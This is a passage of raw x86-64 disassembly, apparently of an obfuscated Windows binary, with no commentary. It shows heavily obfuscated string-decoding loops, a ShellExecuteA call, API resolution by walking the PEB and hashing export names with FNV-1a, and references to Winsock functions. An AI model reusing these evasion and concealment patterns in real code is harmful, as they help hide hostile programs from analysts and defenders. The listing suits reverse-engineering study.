cmp rdi, rax
jne 0x14010b1ed
movabs rdx, 0xd38bd2877ccbfa60
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010b486
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010b208
movabs rdx, 0xbc5c50a277547a24
mov ecx, r15d
jmp 0x14010b471
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14010b0b5
movabs rdx, 0x8dfd4cd86c6579ac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010b543
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010b265
movabs rdx, 0x25a78451d3cbb89e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
jmp 0x14010b4d4
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010b291
movabs rcx, 0xf7488087c8dcb826
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xa
jmp 0x14010b543
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010b2bb
movabs rdx, 0x9a8a78f3b2feb736
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x14010b56a
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14010b0f3
movabs rcx, 0x6c2b7529a80fb6be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14010b5f2
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010b317
movabs rcx, 0x3234b06d1a64f628
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x18
jmp 0x14010b5f2
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010b343
movabs rcx, 0xeca62abe09fe7574
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2c
jmp 0x14010b486
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010b360
movabs rdx, 0xd576a8d90486f538
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14010b471
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14010b12e
movabs rcx, 0xa717a50ef997f4c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x40
jmp 0x14010b543
mov byte [rbp + r9 + 0x140], bl
jmp 0x14010b601
movabs rdx, 0x4a599d7ae3b9f3d0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x140]
add bl, r8b
add bl, dl
movabs rdx, 0x3ec1dc8860fe33b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x140], cl
jmp 0x14010b483
movabs rdx, 0x332a1b95de427394
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x140]
sub bl, 0xc
jmp 0x14010b56a
movabs rcx, 0x3be19b0e1565bb6e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x14010b5f2
movabs rdx, 0x6a409ed82054bbe6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4a
jmp 0x14010b56a
movabs rdx, 0x989fa2a22b43bc5e
mov ecx, gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010b601
movabs rcx, 0xde2e28513baa3d12
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7e
jmp 0x14010b51d
movabs rdx, 0xf55daa364121bd4e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x22
add bl, dl
jmp 0x14010b4f5
movabs rcx, 0x23bcae004c10bdc6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
movabs rdx, 0x55f15e6d6675b3ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x140], cl
add r10, r14
jmp 0x14010b543
movabs rdx, 0x521bb1ca56ffbe3e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
sub r9, r14
jmp 0x14010b601
mov r8, r11
movabs rdx, 0xaed9b95e6cddbf2e
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov bl, r11b
sub bl, al
sub bl, 0x42
add bl, dl
movabs rcx, 0x27925aa35b86b376
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x140], al
add r10, r14
add rax, r10
sub r9, rax
movabs rcx, 0x1bfa99b0d8caf358
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x68
add r8b, cl
mov byte [rbp + r9 + 0x140], r8b
add rdi, r14
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14010b5f2
movabs rdx, 0xdd38bd2877ccbfa6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x140]
add rax, r10
add r9, rax
add r9, r14
jmp 0x14010ac35
movabs rdx, 0xfa28c2021475306a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010ac32
movabs rdx, 0x115843e719ecb0a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010ac22
lea rsi, [rbp + 0x15aed18]
jmp 0x14010b66e
lea rsi, [rbp + 0xdf2cfa]
jmp 0x14010b66e
lea rsi, [rbp + 0x140]
mov byte [rbp + 0x160], 0xbf
mov byte [rbp + 0x161], 0xbd
mov byte [rbp + 0x162], Ordinal_200
mov byte [rbp + 0x163], 0xb9
mov byte [rbp + 0x164], Ordinal_46
xor eax, eax
mov qword [rbp + 0x165], rax
mov dword [rbp + 0x16d], eax
mov word [rbp + 0x171], ax
mov byte [rbp + 0x173], al
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x14
jae 0x14010bfa6
movzx r8d, byte [rbp + r9 + 0x160]
mov rdx, r8
cmp rbx, r9
ja 0x14010bf9d
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14010b711
movabs r11, 0x86ae06fa5e07247a
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x56
jmp 0x14010b748
je 0x14010bf19
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14010be93
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14010be5b
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14010be0a
movabs r11, 0x86ae06fa5e07247a
cmp r10, r9
ja 0x14010bf94
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14010b77d
movabs rdx, 0xc469289b695fe02
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xe
add dil, dl
jmp 0x14010b7aa
je 0x14010bde6
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14010bdc6
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14010bda3
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14010bd80
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14010ba2a
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14010ba16
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x14010b9ef
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x14010b9cc
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x14010b9ab
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14010b997
lea rbx, [r10 + 9]
lea r10, [rbx + 1]
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x14010bf72
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x14010bf4b
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x14010b8e2
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x14010b8bf
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x14010b898
lea rbx, [r10 + 0x10]
lea r10, [rbx + 3]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x14010b974
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x14010b960
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x14010b93d
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x14010b919
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x14010b905
lea rbx, [r10 + 0x28]
lea r10, [rbx + 5]
jmp 0x14010b7b7
movabs rdx, 0x207dc9f10de0ce3e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010b7aa
movabs rcx, 0x1321bbfc51d2854a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 6
jmp 0x14010b748
movabs rcx, 0x5c5ae0795c43c56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5a
jmp 0x14010b6d8
movabs rdx, 0x2cc45c7ac476cc40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14010be6a
movabs rcx, 0x1f684e860868834c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x14
jmp 0x14010be80
movabs rcx, 0x120c40914c5a3a58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x14010beb2
movabs rdx, 0x4b0329c904bf164
mov ecx, Ordinal_35
jmp 0x14010bb39
movabs rcx, 0xf75424a7d43da870
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x14010bf34
movabs rdx, 0x14373767574ad03c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14010be6a
movabs rdx, 0x6db29729b3c8748
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14010bd1f
movabs rcx, 0xf97f1b7ddf2e3e54
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4c
jmp 0x14010be53
movabs rdx, 0xec230d89231ff560
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010be50
movabs rdx, 0xdec6ff946711ac6c
mov ecx, 6
jmp 0x14010bdf5
lea rax, [r10 + 0x10]
cmp rbx, rax
jae 0x14010baf5
lea rcx, [r9 + r11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x56
lea rax, [r10 + rbx]
cmp rax, 0x200
je 0x14010bd51
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x14010bbca
movabs rcx, 0x1777a9a867b3b112
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7e
cmp rbx, 0x400
jae 0x14010bcfb
lea rax, [r10 + 0x28]
cmp rbx, rax
jbe 0x14010bc5a
movabs rdx, 0x23be3c321e49af14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 0x61
jb 0x14010bcee
movabs rdx, 0xa956c7c176d8889c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14010be28
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010bb21
movabs rcx, 0x188d25136d2bfc04
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x14010bf34
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010bb51
movabs rdx, 0x25e93308293a44f8
mov ecx, Ordinal_32
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010bee6
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14010bb6e
movabs rdx, 0x4dfd5ce65d651fd4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x14010be6a
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14010bb9a
movabs rcx, 0x5b596adb197368c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x14010bd25
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010ba4c
movabs rcx, 0x68b578cfd581b1bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x14010be53
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010bbf6
movabs rcx, 0x24d3b79d23c1fa06
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2a
jmp 0x14010be28
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010bc26
movabs rdx, 0x3f8bd3869bde8bee
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010be53
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14010ba87
movabs rdx, 0x679ffd64d00966ca
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010be80
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010bc86
movabs rcx, 0x311a4a26da57f808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x14010bf34
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010bcb0
movabs rdx, 0x4bd26610527489f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14010bd75
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14010bccd
movabs rdx, 0x8e9eabd7febbf6b4
mov ecx, 0xa
jmp 0x14010b9fe
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010bac3
movabs rdx, 0x9bfab9ccbaca3fa8
mov ecx, 0x34
jmp 0x14010bdf5
mov byte [rbp + r9 + 0x160], dil
jmp 0x14010bf43
movabs rdx, 0xb6b2d5b632e6d190
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0x160]
add dil, dl
add dil, r8b
movabs rcx, 0x3d60dcb090edf60a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x46
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0x160], cl
jmp 0x14010be7d
movabs rdx, 0xc40ee3aaeef51a84
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x160]
add dil, dl
add dil, r8b
jmp 0x14010beb2
movabs rcx, 0x8483102453168e96
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x14010bf34
movabs rcx, 0x4f12d85162dd6ac6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x14010be7d
movabs rcx, 0x345abc67eac0d8de
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x12
jmp 0x14010be53
movabs rdx, 0x19a2a07e72a446f6
mov ecx, reloc.WLDAP32.dll_Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010be28
movabs rcx, 0xfeea8494fa87b50e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x62
movabs rdx, 0x3004cebbd4dfad16
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x160], cl
add r10, r14
sub r9, r14
jmp 0x14010bf43
movabs rdx, 0xc97a4cc20a4e913e
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010bf43
mov r8, rdx
movabs rcx, 0xaec230d89231ff56
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x5a
movabs rdx, 0x4abceaa54cfc3efe
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 7
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x160], al
add r10, r14
add rax, r10
sub r9, rax
movabs rcx, 0xd16af19fab036378
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x48
add cl, r8b
mov byte [rbp + r9 + 0x160], cl
add rbx, r14
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14010bf34
movabs rcx, 0x940a14ef1a156d6e
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, r15b
movzx eax, byte [rbp + r9 + 0x160]
add rax, r10
add r9, rax
add r9, r14
jmp 0x14010b6c5
movabs rdx, 0xf869a012d9b5f362
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010b6c2
movabs rcx, 0xeb0d921e1da7aa6e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
jmp 0x14010b6b2
lea rdx, [rbp + 0x14c8358]
jmp 0x14010bfad
lea rdx, [rbp + 0x93a7d2]
jmp 0x14010bfad
lea rdx, [rbp + 0x160]
mov dword [rsp + 0x28], r14d
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x14010c127
xor esi, esi
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14010c03e
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010c031
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010c022
cmp edx, esi
jne 0x14010c10b
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010c10b
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010c10b
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010c092
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010c087
cmp edx, r14d
je 0x14010c0a8
test r11d, r11d
jne 0x14010c072
jmp 0x14010c10b
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14010c120
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14010c120
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14010c0ea
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14010c0dc
jmp 0x14010c0ff
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14010c0f2
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14010c11e
cmp qword [rbx + 0x30], 0
jne 0x14010bff2
xor edx, edx
mov qword [0x1404fc118], rdx
mov ebx, 0x99
mov ecx, ebx
call rdx
mov qword [0], rbx
lea rcx, [rbp + 0xf50]
call fcn.14008b590
nop
mov rcx, r12
call fcn.14007b1f0
mov byte [rbp + 0x500], recv
mov byte [rbp + 0x501], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x502], reloc.WS2_32.dll_recv
mov byte [rbp + 0x503], Ordinal_60
mov byte [rbp + 0x504], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x505], 0x79
mov byte [rbp + 0x506], Ordinal_60
mov byte [rbp + 0x507], Ordinal_60
mov byte [rbp + 0x508], gethostname
mov byte [rbp + 0x509], 0x3d
mov byte [rbp + 0x50a], Ordinal_50
mov byte [rbp + 0x50b], Ordinal_50
mov byte [rbp + 0x50c], gethostname
mov byte [rbp + 0x50d], Ordinal_50
mov byte [rbp + 0x50e], gethostname
mov byte [rbp + 0x50f], Ordinal_50
mov byte [rbp + 0x510], WSASetLastError
mov byte [rbp + 0x511], WSACleanup
mov byte [rbp + 0x512], Ordinal_46
mov byte [rbp + 0x513], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x514], WSAGetLastError
mov byte [rbp + 0x515], 0x3d
mov byte [rbp + 0x516], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x517], 0xa
mov byte [rbp + 0x518], Ordinal_79
mov byte [rbp + 0x519], 3
mov byte [rbp + 0x51a], recv
mov byte [rbp + 0x51b], 9
mov byte [rbp + 0x51c], 0x9a
xor eax, eax
mov qword [rbp + 0x51d], rax
mov dword [rbp + 0x525], eax
mov word [rbp + 0x529], ax
mov byte [rbp + 0x52b], al
movabs rsi, 0xe18cab1a5cf5e349
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x2c
jae 0x14010cda2
movzx r8d, byte [rbp + r9 + 0x500]
mov rdx, r8
cmp rdi, r9
ja 0x14010cd99
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14010c295
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
inc bl
jmp 0x14010c2c2
je 0x14010cd18
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14010cce8
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010ccc5
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010cca2
cmp r10, r9
ja 0x14010cd90
lea rax, [r10 + 0xa]
cmp rdi, rax
jae 0x14010c2f5
movabs rdx, 0x808a0929a02ba4fd
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x15
jmp 0x14010c523
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010cc5e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010cc3b
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14010cbb1
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14010cb91
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010cb6e
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x14010c872
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14010c84e
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x14010c83a
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14010c814
lea rax, [r10 + 0x1000]
cmp rdi, rax
je 0x14010c7f3
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010c7cd
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14010c7a7
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14010c783
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14010c76f
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14010c75b
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14010c343
lea rdi, [r10 + 0x20]
lea r10, [rdi + 4]
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14010cd6d
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14010cd4a
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14010c54d
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14010c52a
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14010c507
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x14010c73a
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14010c719
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14010c6ce
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x14010c6a3
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x14010c343
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x42]
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14010c680
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14010c65f
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14010c63e
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14010c61b
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14010c5f8
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14010c5d7
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x14010c5b4
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x14010c591
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14010c570
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14010c343
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 0x64]
jmp 0x14010c343
movabs rdx, 0x7760e750798268a3
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x75
add bl, dl
jmp 0x14010c336
movabs rdx, 0xb447911bbf96a211
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x77
add bl, dl
jmp 0x14010c2c2
movabs rdx, 0xf12e3ae705aadb7f
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x79
add bl, dl
jmp 0x14010c268
movabs rdx, 0x450494d015d27e8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x58
jmp 0x14010cc7a
movabs rcx, 0x4136f31847716156
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5a
jmp 0x14010ccc0
movabs rcx, 0x7e1d9ce38d859ac4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5c
jmp 0x14010cce3
movabs rdx, 0xbb0446aed399d432
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
jmp 0x14010cb15
movabs rcx, 0xf7eaf07a19ae0da0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x14010cd06
movabs rcx, 0x34d19a455fc2470e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x62
jmp 0x14010cd09
movabs rdx, 0x71b84410a5d6807c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x64
jmp 0x14010cbcd
